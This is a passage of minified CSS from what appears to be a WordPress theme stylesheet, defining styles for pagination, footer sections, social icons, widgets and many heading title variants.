10px;max-width:400px;margin:0 auto;border:1px solid var(--pcborder-cl);line-height:1.4;text-align:center;transition:all .25s;-webkit-transition:all .25s;background:#fff}.penci-pagination.penci-ajax-more a.penci-ajax-more-button .ajax-more-text{color:inherit;font-family:inherit;font-weight:inherit}.penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover{border-color:var(--pcaccent-cl)}.penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts{opacity:.8;color:#999!important;border-color:#ececec!important;cursor:auto}.penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts span.ajaxdot:after{content:"...";font-size:inherit;color:inherit;font-family:inherit;font-weight:inherit}.penci-pagination.penci-ajax-more a.penci-ajax-more-button i{color:inherit}.penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts i{animation-name:pencirotate;-o-animation-name:pencirotate;-ms-animation-name:pencirotate;-webkit-animation-name:pencirotate;-moz-animation-name:pencirotate;animation-duration:.8s;-o-animation-duration:.8s;-ms-animation-duration:.8s;-webkit-animation-duration:.8s;-moz-animation-duration:.8s;animation-iteration-count:infinite;-o-animation-iteration-count:infinite;-ms-animation-iteration-count:infinite;-webkit-animation-iteration-count:infinite;-moz-animation-iteration-count:infinite;animation-timing-function:linear;-o-animation-timing-function:linear;-ms-animation-timing-function:linear;-webkit-animation-timing-function:linear;-moz-animation-timing-function:linear}@keyframes pencirotate{from{transform:rotate(360deg)}to{transform:rotate(0)}}@-o-keyframes pencirotate{from{-o-transform:rotate(360deg)}to{-o-transform:rotate(0)}}@-webkit-keyframes pencirotate{from{-webkit-transform:rotate(360deg)}to{-webkit-transform:rotate(0)}}@-moz-keyframes pencirotate{from{-moz-transform:rotate(360deg)}to{-moz-transform:rotate(0)}}p.no-comments{text-align:center;font-size:16px}#footer-area{background:#171717;padding:60px 0;text-align:center;position:relative;clear:both}#footer-section{padding:0;background:#313131;text-align:center;color:#999;position:relative;background-repeat:no-repeat;background-size:cover;background-position:center center}.penci-footer-social-moved{background:#313131;border-top:1px solid #ececec}.footer-socials-section{padding:30px 0 15px;border-bottom:1px solid #4a4a4a;text-align:center}.penci-footer-social-moved .footer-socials-section{border-bottom:none}ul.footer-socials{list-style:none;display:inline-block;vertical-align:top}ul.footer-socials li{float:none;display:inline-block;margin-right:30px;margin-bottom:15px}ul.footer-socials li:last-child{margin-right:0}ul.footer-socials li a{line-height:36px;display:inline-block;vertical-align:top}ul.footer-socials li a i{width:36px;height:36px;line-height:34px;display:inline-block;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;background:0 0;color:#999;border:1px solid #999;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;font-size:14px;vertical-align:top}ul.footer-socials li a i svg{fill:#999}ul.footer-socials li a:hover i{background:var(--pcaccent-cl);color:#fff;border-color:var(--pcaccent-cl)}ul.footer-socials li a span{text-transform:uppercase;font-size:14px;font-family:var(--pchead-font);font-weight:var(--pchead-wei);color:#999;display:inline-block;margin-left:10px;vertical-align:top;-webkit-transition:all .3s;-moz-transition:all .3s;-o-transition:all .3s;transition:all .3s}ul.footer-socials li a:hover span{color:var(--pcaccent-cl)}.footer-social-remove-circle ul.footer-socials li a{line-height:20px}.footer-social-remove-circle ul.footer-socials li a i,.footer-social-remove-circle ul.footer-socials li a:hover i{border:none;background:0 0;padding:0;width:auto;height:auto;line-height:20px}.footer-social-drop-line ul.footer-socials li a span{margin:5px 0 0;display:block}.footer-social-remove-radius ul.footer-socials li a i{border-radius:0;-webkit-border-radius:0;-moz-border-radius:0}.footer-social-remove-text ul.footer-socials li a span{display:none}.widget-social svg,ul.footer-socials li svg{vertical-align:middle}.widget-social svg,ul.footer-socials li svg{max-width:16px;height:auto}.footer-logo-copyright{padding:40px 0 73px;text-align:center}.footer-logo-copyright.footer-not-gotop{padding:40px 0}.footer-logo-copyright.footer-not-logo{padding:20px 0 62px}.footer-logo-copyright.footer-not-logo.footer-not-gotop{padding:20px 0}#footer-logo{margin:0 0 32px 0}#footer-logo a{display:inline-block;vertical-align:top}#footer-logo .penci-lazy[src*=penci-holder]{width:0}#footer-copyright *{font-size:14px;color:#999;line-height:1.4;font-style:italic}#footer-copyright a{color:var(--pcaccent-cl)}#footer-copyright a:hover{text-decoration:underline}body.single-penci-block .penci-go-to-top-floating,body.single-penci-block .penci-wrap-gprd-law{display:none!important}body.single-penci-block .clear-footer{margin-bottom:0;height:0}body.single-penci-block .pc-wrapbuilder-header{margin-bottom:0}.footer-menu-wrap{display:block;text-align:center;margin-bottom:10px}.footer-menu-wrap:before{content:"";display:table}.footer-menu-wrap:after{display:block;height:0;clear:both;visibility:hidden;content:""}div.footer-menu>ul,ul.footer-menu{list-style:none;display:inline-block;vertical-align:top}.footer-menu li{display:inline-block;padding:0 15px;position:relative;margin-bottom:5px}#footer-section .footer-menu li a{color:#999}#footer-section .footer-menu li a:hover{color:var(--pcaccent-cl)}.footer-menu ul.sub-menu{display:none!important}#footer-section .go-to-top-parent{width:100%;height:auto;display:block;position:absolute;left:0;bottom:17px;text-align:center;z-index:10}#footer-section .go-to-top-parent span{color:#999;font-size:12px;font-weight:var(--pchead-wei);font-family:var(--pchead-font);text-transform:uppercase;line-height:1;display:inline-block;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s}#footer-section .go-to-top-parent span:after,#footer-section .go-to-top-parent span:before{content:" ";display:table}#footer-section .go-to-top-parent span:after{clear:both}#footer-section .go-to-top-parent i{font-size:12px;z-index:5;position:relative;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;color:#999;line-height:1;margin-bottom:3px}#footer-section .go-to-top:hover i,#footer-section .go-to-top:hover span{color:#fff}.penci-go-to-top-floating{cursor:pointer;position:fixed;bottom:20px;right:20px;width:40px;height:40px;line-height:40px;font-size:16px;background-color:var(--pcaccent-cl);color:#fff;z-index:99999;text-align:center;transform:translate3d(0,80px,0);-webkit-transform:translate3d(0,80px,0);-webkit-transition:transform .5s cubic-bezier(.55,0,.05,1.1) 0s,opacity .3s;transition:transform .5s cubic-bezier(.55,0,.05,1.1) 0s,opacity .3s}.penci-go-to-top-floating i[class^=penciicon-]{vertical-align:top;line-height:inherit}.penci-go-to-top-floating.show-up{transform:translate3d(0,0,0);-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);-o-transform:translate3d(0,0,0)}.penci-go-to-top-floating:hover{opacity:.85}.penci-go-to-top-floating i{font-size:inherit;line-height:inherit;color:inherit}.penci-go-to-top-floating.pgtt-style-2{border-radius:50%}.penci-go-to-top-floating.pgtt-style-3{border-radius:50%;background:var(--pcbg-cl);color:var(--pcaccent-cl);box-shadow:0 5px 20px 0 rgba(0,0,0,.15)}.textwidget{line-height:1.8}#widget-area{overflow:hidden;margin:0;padding:60px 0;background:#fff;position:relative;border-top:1px solid #ececec;background-repeat:no-repeat;background-size:cover;background-position:center center}#widget-area>.container{position:relative;z-index:3}#widget-area>.container:after,#widget-area>.container:before{content:"";display:table;clear:both}.footer-widget-wrapper{width:31%;margin-right:3.5%;float:left}.footer-widget-wrapper.footer-widget-style-2{width:32.1666%}.footer-widget-wrapper.footer-widget-style-2.last{width:64.3334%}.footer-widget-wrapper.footer-widget-style-3{width:64.3334%}.footer-widget-wrapper.footer-widget-style-3.last{width:32.1666%}.footer-widget-wrapper.footer-widget-style-4{width:22.75%;margin-right:3%}.footer-widget-wrapper.footer-widget-style-5,.footer-widget-wrapper.footer-widget-style-6,.footer-widget-wrapper.footer-widget-style-7{width:23.25%}.footer-widget-wrapper.footer-widget-style-5:first-child,.footer-widget-wrapper.footer-widget-style-6:nth-child(2),.footer-widget-wrapper.footer-widget-style-7:last-child{width:46.5%}.footer-widget-wrapper.footer-widget-style-8,.footer-widget-wrapper.footer-widget-style-9{width:23.5%}.footer-widget-wrapper.footer-widget-style-8:last-child,.footer-widget-wrapper.footer-widget-style-9:first-child{width:73%}.footer-widget-wrapper.footer-widget-style-10{width:48%;margin-right:4%}#widget-area .footer-widget-wrapper.last{margin-right:0}.footer-widget-wrapper>.widget:last-child{margin-bottom:0!important}.widget input{font-weight:400}.penci-button,.widget button[type=submit],.widget input[type=submit]{font-family:var(--pchead-font);font-weight:var(--pchead-wei)}.penci-sidebar-content.pcsb-boxed-whole{padding:20px;border:1px solid var(--pcborder-cl);margin-bottom:60px}.penci-sidebar-content .widget{width:100%;margin-right:0;float:none;margin-bottom:60px;clear:both}.penci-sidebar-content.pcsb-boxed-widget .widget{padding:20px;border:1px solid var(--pcborder-cl)}.penci-sidebar-content.pcsb-boxed-whole .widget:last-child{margin-bottom:0}.penci-sidebar-content img{max-width:100%;height:auto;vertical-align:top}.penci-sidebar-content .widget-title{color:#313131;margin-bottom:30px;font-family:var(--pchead-font);font-weight:var(--pchead-wei);position:relative;text-align:center;line-height:1.3;background:0 0}body.ehf-header .featuredsl-customizer,body.ehf-header .penci-header-wrap{display:none}body.ehf-footer #footer-section,body.ehf-footer #widget-area,body.ehf-footer .clear-footer,body.ehf-footer .footer-instagram,body.ehf-footer .footer-subscribe,body.ehf-footer .penci-footer-social-media{display:none}.penci-sidebar-content.pcalign-left .widget-title{text-align:left}.penci-sidebar-content.pcalign-right .widget-title{text-align:right}.penci-homepage-title.style-10,.penci-homepage-title.style-11,.penci-homepage-title.style-12,.penci-homepage-title.style-13,.penci-homepage-title.style-2,.penci-homepage-title.style-3,.penci-homepage-title.style-4,.penci-homepage-title.style-5,.penci-homepage-title.style-6,.penci-homepage-title.style-7,.penci-homepage-title.style-8,.penci-homepage-title.style-9,.penci-sidebar-content.style-10 .widget-title,.penci-sidebar-content.style-11 .widget-title,.penci-sidebar-content.style-12 .widget-title,.penci-sidebar-content.style-13 .widget-title,.penci-sidebar-content.style-14 .widget-title,.penci-sidebar-content.style-2 .widget-title,.penci-sidebar-content.style-3 .widget-title,.penci-sidebar-content.style-4 .widget-title,.penci-sidebar-content.style-5 .widget-title,.penci-sidebar-content.style-6 .widget-title,.penci-sidebar-content.style-7 .widget-title,.penci-sidebar-content.style-8 .widget-title,.penci-sidebar-content.style-9 .widget-title{margin-left:0;margin-right:0;margin-top:0}.penci-homepage-title.style-14{margin-left:6px;margin-right:6px;margin-top:0}.penci-homepage-title.style-2:before,.penci-sidebar-content.style-2 .penci-border-arrow:before{bottom:-4px}.penci-border-arrow.penci-homepage-title.style-2:after,.penci-sidebar-content.style-2 .penci-border-arrow:after{width:0;height:0;border-style:solid;border-color:transparent;bottom:-2px;left:50%;top:auto;right:auto;border-width:6px;border-bottom:0;margin-left:-6px;z-index:5;border-top-color:#fff;background:0 0!important}.penci-homepage-title.style-2 .inner-arrow,.penci-sidebar-content.style-2 .penci-border-arrow .inner-arrow{border-width:2px}.penci-homepage-title.style-1.pcalign-left:before,.penci-homepage-title.style-2.pcalign-left:after,.penci-homepage-title.style-2.pcalign-left:before,.penci-sidebar-content.style-1.pcalign-left .penci-border-arrow:before,.penci-sidebar-content.style-2.pcalign-left .penci-border-arrow:after,.penci-sidebar-content.style-2.pcalign-left .penci-border-arrow:before{left:19px;right:auto}.penci-homepage-title.style-1.pcalign-right:before,.penci-homepage-title.style-2.pcalign-right:after,.penci-homepage-title.style-2.pcalign-right:before,.penci-sidebar-content.style-1.pcalign-right .penci-border-arrow:before,.penci-sidebar-content.style-2.pcalign-right .penci-border-arrow:after,.penci-sidebar-content.style-2.pcalign-right .penci-border-arrow:before{left:auto;right:19px}.penci-homepage-title.style-1.pcalign-center:before,.penci-homepage-title.style-2.pcalign-center:after,.penci-homepage-title.style-2.pcalign-center:before{left:50%;margin-left:-6px;right:auto}.penci-homepage-title.style-3:after,.penci-homepage-title.style-3:before,.penci-homepage-title.style-4:after,.penci-homepage-title.style-4:before,.penci-homepage-title.style-5:after,.penci-homepage-title.style-5:before,.penci-homepage-title.style-6:after,.penci-homepage-title.style-6:before,.penci-homepage-title.style-7:after,.penci-homepage-title.style-7:before,.penci-homepage-title.style-8:after,.penci-homepage-title.style-8:before,.penci-homepage-title.style-9:after,.penci-homepage-title.style-9:before,.penci-sidebar-content.style-3 .penci-border-arrow:after,.penci-sidebar-content.style-3 .penci-border-arrow:before,.penci-sidebar-content.style-4 .penci-border-arrow:after,.penci-sidebar-content.style-4 .penci-border-arrow:before,.penci-sidebar-content.style-5 .penci-border-arrow:after,.penci-sidebar-content.style-5 .penci-border-arrow:before,.penci-sidebar-content.style-6 .penci-border-arrow:after,.penci-sidebar-content.style-6 .penci-border-arrow:before,.penci-sidebar-content.style-7 .penci-border-arrow:after,.penci-sidebar-content.style-7 .penci-border-arrow:before,.penci-sidebar-content.style-8 .penci-border-arrow:after,.penci-sidebar-content.style-8 .penci-border-arrow:before,.penci-sidebar-content.style-9 .penci-border-arrow:after,.penci-sidebar-content.style-9 .penci-border-arrow:before{content:none}.penci-homepage-title.style-3.pcalign-center .inner-arrow,.penci-homepage-title.style-3.pcalign-left .inner-arrow,.penci-sidebar-content.style-3.pcalign-center .penci-border-arrow .inner-arrow,.penci-sidebar-content.style-3.pcalign-left .penci-border-arrow .inner-arrow{border-left-width:6px}.penci-homepage-title.style-3.pcalign-right .inner-arrow,.penci-sidebar-content.style-3.pcalign-right .penci-border-arrow .inner-arrow{border-right-width:6px}.pc-flexmnld,.penci-homepage-title.style-4,.penci-sidebar-content.style-4 .penci-border-arrow{overflow:hidden}.pc-flexmnld .penci-homepage-title.style-4,.pc-flexmnld .penci-sidebar-content.style-4 .penci-border-arrow{overflow:visible}.elementor-widget-penci-block-heading .pc-flexmnld{overflow:visible}.penci-homepage-title.style-4 .inner-arrow,.penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow{padding:0 12px;border:none;display:inline-block;background:0 0!important}.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow>span{position:relative;padding:0 12px}.elementor-widget-penci-block-heading .penci-homepage-title.style-4.pcalign-left .inner-arrow>span,.penci-homepage-title.style-4.pcalign-left .inner-arrow,.penci-sidebar-content.style-4.pcalign-left .penci-border-arrow .inner-arrow{padding-left:0}.elementor-widget-penci-block-heading .penci-homepage-title.style-4.pcalign-right .inner-arrow>span,.penci-homepage-title.style-4.pcalign-right .inner-arrow,.penci-sidebar-content.style-4.pcalign-right .penci-border-arrow .inner-arrow{padding-right:0}.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow{overflow:hidden}.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow>span:after,.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow>span:before,.penci-homepage-title.style-4 .inner-arrow:after,.penci-homepage-title.style-4 .inner-arrow:before,.penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:after,.penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before{position:absolute;content:"";width:1200px;height:0;top:50%;left:100%;border:none;border-bottom:1px solid;z-index:1;opacity:.5}.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow:after,.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow:before{display:none}.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow>span:before,.penci-homepage-title.style-4 .inner-arrow:before,.penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before{left:auto;right:100%}.elementor-widget-penci-block-heading .penci-homepage-title.style-4 .inner-arrow{display:block}.penci-homepage-title.style-5,.penci-homepage-title.style-7,.penci-homepage-title.style-9,.penci-sidebar-content.style-5 .penci-border-arrow,.penci-sidebar-content.style-7 .penci-border-arrow,.penci-sidebar-content.style-9 .penci-border-arrow{border-bottom:2px solid #313131}.penci-homepage-title.style-5 .inner-arrow,.penci-sidebar-content.style-5 .penci-border-arrow .inner-arrow{display:inline-block;border-bottom-width:2px;margin-bottom:-2px!important}.penci-homepage-title.style-5.pcalign-left .inner-arrow,.penci-sidebar-content.style-5.pcalign-left .penci-border-arrow .inner-arrow{border-left-width:2px}.penci-homepage-title.style-5.pcalign-right .inner-arrow,.penci-sidebar-content.style-5.pcalign-right .penci-border-arrow .inner-arrow{border-right-width:2px}.penci-homepage-title.style-6 .inner-arrow,.penci-sidebar-content.style-6 .penci-border-arrow .inner-arrow{background:0 0!important;padding:0!important;border:none!important}.penci-homepage-title.style-7,.penci-sidebar-content.style-7 .penci-border-arrow{border-bottom-width:3px}.penci-homepage-title.style-9,.penci-sidebar-content.style-9 .penci-border-arrow{border-bottom-width:1px}.penci-homepage-title.style-7 .inner-arrow,.penci-homepage-title.style-9 .inner-arrow,.penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow,.penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow{background:0 0!important;padding:0 0 8px 0;border:none}.penci-homepage-title.style-7 .inner-arrow:before,.penci-homepage-title.style-9 .inner-arrow:before,.penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow:before,.penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before{content:"";width:40px;height:3px;position:absolute;bottom:-3px;background:var(--pcaccent-cl)}.penci-homepage-title.style-9 .inner-arrow:before,.penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before{bottom:-2px}.penci-homepage-title.style-7.pcalign-center .inner-arrow:before,.penci-homepage-title.style-9.pcalign-center .inner-arrow:before,.penci-sidebar-content.style-7.pcalign-center .penci-border-arrow .inner-arrow:before,.penci-sidebar-content.style-9.pcalign-center .penci-border-arrow .inner-arrow:before{left:50%;margin-left:-20px}.penci-homepage-title.style-7.pcalign-left .inner-arrow:before,.penci-homepage-title.style-9.pcalign-left .inner-arrow:before,.penci-sidebar-content.style-7.pcalign-left .penci-border-arrow .inner-arrow:before,.penci-sidebar-content.style-9.pcalign-left .penci-border-arrow .inner-arrow:before{left:0;margin:0}.penci-homepage-title.style-7.pcalign-right .inner-arrow:before,.penci-homepage-title.style-9.pcalign-right .inner-arrow:before,.penci-sidebar-content.style-7.pcalign-right .penci-border-arrow .inner-arrow:before,.penci-sidebar-content.style-9.pcalign-right .penci-border-arrow .inner-arrow:before{right:0;margin:0}.penci-homepage-title.style-8 .inner-arrow,.penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow{background-repeat:no-repeat;background-position:center center;background-size:auto 100%;border:none!important;padding-top:13px;padding-bottom:12px}.penci-homepage-title.style-8.pcalign-left .inner-arrow,.penci-sidebar-content.style-8.pcalign-left .penci-border-arrow .inner-arrow{background-position:left center}.penci-homepage-title.style-8.pcalign-right .inner-arrow,.penci-sidebar-content.style-8.pcalign-right .penci-border-arrow .inner-arrow{background-position:right center}.penci-homepage-title.style-8.pcalign-center .inner-arrow,.penci-sidebar-content.style-8.pcalign-center .penci-border-arrow .inner-arrow{background-position:center center}.penci-homepage-title.style-10,.penci-sidebar-content.style-10 .penci-border-arrow{border-top:3px solid #313131;border-bottom:1px solid #dedede}.penci-homepage-title.style-10 .inner-arrow,.penci-sidebar-content.style-10 .penci-border-arrow .inner-arrow{background:0 0!important;border:none!important;padding:9px 0!important}.penci-sidebar-content.style-10 .penci-border-arrow:after,.penci-sidebar-content.style-10 .penci-border-arrow:before,.penci-sidebar-content.style-11 .penci-border-arrow:after,.penci-sidebar-content.style-11 .penci-border-arrow:before,.penci-sidebar-content.style-12 .penci-border-arrow:after,.penci-sidebar-content.style-12 .penci-border-arrow:before,.penci-sidebar-content.style-13 .penci-border-arrow:after,.penci-sidebar-content.style-13 .penci-border-arrow:before,.penci-sidebar-content.style-14 .penci-border-arrow:after,.penci-sidebar-content.style-14 .penci-border-arrow:before{content:none}.penci-homepage-title.style-10:after,.penci-homepage-title.style-10:before,.penci-homepage-title.style-11:after,.penci-homepage-title.style-11:before,.penci-homepage-title.style-12:after,.penci-homepage-title.style-12:before,.penci-homepage-title.style-13:after,.penci-homepage-title.style-13:before,.penci-homepage-title.style-14:after,.penci-homepage-title.style-14:before{content:none}.penci-homepage-title.style-11 .inner-arrow,.penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow{border:none!important;background-color:#444;color:#fff;border-radius:0 0 12px;padding-left:25px;padding-right:25px;display:inline-block;padding-top:0;padding-bottom:0;line-height:34px}.penci-homepage-title.style-11 .inner-arrow:after,.penci-homepage-title.style-11 .inner-arrow:before,.penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,.penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before{content:"";display:inline-block;position:absolute;top:0;left:0;width:0;height:0;z-index:1;border-top:20px solid #fff;border-right:15px solid transparent}.penci-homepage-title.style-11 .inner-arrow:after,.penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after{border-right:none;border-top:none;border-bottom:20px solid rgba(0,0,0,.3);border-left:15px solid transparent;box-shadow:2px 2px 2px rgba(0,0,0,.05)}.penci-homepage-title.style-12,.penci-sidebar-content.style-12 .penci-border-arrow{border-bottom:2px solid #313131}.penci-homepage-title.style-12 .inner-arrow,.penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow{display:inline-block;margin-bottom:-2px;background-color:#313131;color:#fff;border:0;padding-top:0;padding-bottom:0;line-height:34px}.penci-homepage-title.style-12 .inner-arrow:before,.penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow:before{content:"";display:inline-block;position:absolute;top:0;width:0;height:0;border-bottom:34px solid #000;border-right:20px solid transparent;z-index:1;right:-20px;opacity:.7;background-color:transparent!important}.penci-homepage-title.style-12.pcalign-center .inner-arrow:after,.penci-homepage-title.style-12.pcalign-right .inner-arrow:after,.penci-sidebar-content.style-12.pcalign-center .penci-border-arrow .inner-arrow:after,.penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:after{content:"";display:inline-block;position:absolute;top:0;width:0;height:0;border-bottom:34px solid #000;border-left:20px solid transparent;z-index:1;left:-20px;opacity:.7;background-color:transparent!important}.penci-homepage-title.style-12.pcalign-right .inner-arrow:before,.penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:before{content:none}.penci-homepage-title.style-13 .inner-arrow,.penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow{display:inline-block;margin-bottom:0;background-color:#313131;color:#fff;border:0;padding-top:0;padding-bottom:0;line-height:34px}.penci-homepage-title.style-13.pcalign-right .inner-arrow:before,.penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before{content:none}.penci-homepage-title.style-13.pcalign-left .inner-arrow,.penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow{padding-right:30px}.penci-homepage-title.style-13.pcalign-center .inner-arrow:after,.penci-homepage-title.style-13.pcalign-center .inner-arrow:before,.penci-homepage-title.style-13.pcalign-left .inner-arrow:after,.penci-homepage-title.style-13.pcalign-right .inner-arrow:before,.penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after,.penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before,.penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after,.penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before{content:"";display:inline-block;position:absolute;top:0;width:0;height:0;z-index:1;border-top:16px solid transparent;border-bottom:17px solid transparent}.penci-homepage-title.style-13.pcalign-center .inner-arrow:after,.penci-homepage-title.style-13.pcalign-left .inner-arrow:after,.penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after,.penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after{border-right:16px solid #fff;right:0}.penci-homepage-title.style-13.pcalign-center .inner-arrow,.penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow{padding-right:30px;padding-left:30px}.penci-homepage-title.style-13.pcalign-right .inner-arrow,.penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow{padding-right:15px;padding-left:30px}.penci-homepage-title.style-13.pcalign-center .inner-arrow:before,.penci-homepage-title.style-13.pcalign-right .inner-arrow:before,.penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before,.penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before{left:0;border-left:15px solid #fff}.penci-homepage-title.style-14 .inner-arrow,.penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow{display:inline-block;margin-bottom:0;background-color:transparent!important;color:#fff;border:0;position:relative;padding-left:25px;padding-right:25px}.penci-homepage-title.style-11 .inner-arrow a,.penci-homepage-title.style-12 .inner-arrow a,.penci-homepage-title.style-13 .inner-arrow a,.penci-homepage-title.style-14 .inner-arrow a{color:inherit}.penci-homepage-title.style-14 .inner-arrow:before,.penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before{background:#313131;-webkit-transform:skew(-20deg);-moz-transform:skew(-20deg);-o-transform:skew(-20deg);content:"";position:absolute;bottom:0;top:0;left:0;right:0;z-index:-1}.penci-homepage-title.style-15,.penci-homepage-title.style-16,.penci-homepage-title.style-18,.penci-sidebar-content.style-15 .widget-title,.penci-sidebar-content.style-16 .widget-title,.penci-sidebar-content.style-18 .widget-title{margin-left:0;margin-right:0;margin-top:0}.penci-homepage-title.style-15 .inner-arrow,.penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow{background:#f2f2f2;border:none;padding-right:48px}.penci-homepage-title.style-15.penci-border-arrow:before,.penci-sidebar-content.style-15 .penci-border-arrow:before{width:36px;display:block;top:0;left:auto;right:0;bottom:0;height:100%;background:#e6e6e6;z-index:5;border:none;margin:0}.penci-homepage-title.style-15.penci-border-arrow:after,.penci-sidebar-content.style-15 .penci-border-arrow:after{left:auto;right:0;bottom:auto;width:36px;border:none;background:0 0;border:none;z-index:10;display:inline-block;content:"\f11a";font-size:12px;font-family:penciicon;font-weight:600;text-align:center;height:24px;line-height:24px;top:50%;transform:translateY(-50%);margin:0}.penci-homepage-title.style-15.pciconp-left .inner-arrow,.penci-sidebar-content.style-15.pciconp-left .penci-border-arrow .inner-arrow{padding-right:12px;padding-left:48px}.penci-homepage-title.style-15.pciconp-left.penci-border-arrow:after,.penci-homepage-title.style-15.pciconp-left.penci-border-arrow:before,.penci-sidebar-content.style-15.pciconp-left .penci-border-arrow:after,.penci-sidebar-content.style-15.pciconp-left .penci-border-arrow:before{left:0;right:auto}.penci-homepage-title.style-15.penci-border-arrow.pcicon-left:after,.penci-sidebar-content.style-15.pcicon-left .penci-border-arrow:after{content:"\f11d"}.penci-homepage-title.style-15.penci-border-arrow.pcicon-down:after,.penci-sidebar-content.style-15.pcicon-down .penci-border-arrow:after{content:"\f11c"}.penci-homepage-title.style-15.penci-border-arrow.pcicon-up:after,.penci-sidebar-content.style-15.pcicon-up .penci-border-arrow:after{content:"\f11d"}.penci-homepage-title.style-15.penci-border-arrow.pcicon-star:after,.penci-sidebar-content.style-15.pcicon-star .penci-border-arrow:after{content:"\f005";font-family:FontAwesome;font-size:14px}.penci-homepage-title.style-15.penci-border-arrow.pcicon-bars:after,.penci-sidebar-content.style-15.pcicon-bars .penci-border-arrow:after{content:"\f0c9";font-family:FontAwesome;font-size:14px}.penci-homepage-title.style-15.penci-border-arrow.pcicon-file:after,.penci-sidebar-content.style-15.pcicon-file .penci-border-arrow:after{content:"\f0f6";font-family:FontAwesome;font-size:14px}.penci-homepage-title.style-15.penci-border-arrow.pcicon-fire:after,.penci-sidebar-content.style-15.pcicon-fire .penci-border-arrow:after{content:"\f06d";font-family:FontAwesome;font-size:14px}.penci-homepage-title.style-15.penci-border-arrow.pcicon-book:after,.penci-sidebar-content.style-15.pcicon-book .penci-border-arrow:after{content:"\f02d";font-family:FontAwesome;font-size:14px}.penci-homepage-title.style-16.penci-border-arrow:before,.penci-sidebar-content.style-16 .penci-border-arrow:before{content:none;display:none}.penci-homepage-title.style-16 .inner-arrow,.penci-sidebar-content.style-16 .widget-title .inner-arrow{padding:0 3px;border:none;background:0 0!important}.penci-homepage-title.style-16.penci-border-arrow:after,.penci-sidebar-content.style-16 .penci-border-arrow:after{left:0;right:0;bottom:0;top:auto;height:10px;border:none;background:#efefef}.penci-homepage-title.style-17 .inner-arrow,.penci-sidebar-content.style-17 .widget-title .inner-arrow{display:inline-block}.penci-homepage-title.style-18 .inner-arrow,.penci-sidebar-content.style-18 .widget-title .inner-arrow{border:none!important;background:0 0!important}.penci-homepage-title.style-18.penci-border-arrow:after,.penci-sidebar-content.style-18 .penci-border-arrow:after{top:0;left:0;bottom:0;right:0;width:100%;margin:0;color:#dedede;background-image:linear-gradient(-45deg,transparent,transparent 30%,currentColor 30%,currentColor 50%,transparent 50%,transparent 80%,currentColor 80%);background-size:5px 5px;background-color:transparent!important;border:none!important}.penci-homepage-title.style-18.penci-border-arrow:before,.penci-sidebar-content.style-18 .penci-border-arrow:before{content:none;display:none}.penci-homepage-title.style-19.penci-border-arrow:after,.penci-sidebar-content.style-19 .penci-border-arrow:after{background-image:linear-gradient(-90deg,transparent,transparent 30%,currentColor 30%,currentColor 50%,transparent 50%,transparent 80%,currentColor 80%)}.penci-homepage-title.style-20.penci-border-arrow:after,.penci-sidebar-content.style-20 .penci-border-arrow:after{background-image:linear-gradient(0deg,transparent,transparent 30%,currentColor 30%,currentColor 50%,transparent 50%,transparent 80%,currentColor 80%)}.penci-homepage-title.style-21 .inner-arrow,.penci-homepage-title.style-21.penci-border-arrow,.penci-sidebar-content.style-21 .inner-arrow,.penci-sidebar-content.style-21 .widget-title{border:0;background:0 0!important;padding-left:0;padding-right:0;margin-left:0;margin-right:0;margin-top:0;padding-top:0}.penci-homepage-title.style-21:after,.penci-homepage-title.style-21:before,.penci-sidebar-content.style-21 .widget-title:after,.penci-sidebar-content.style-21 .widget-title:before{display:none}.penci-homepage-title.style-22.penci-border-arrow,.penci-sidebar-content.style-21 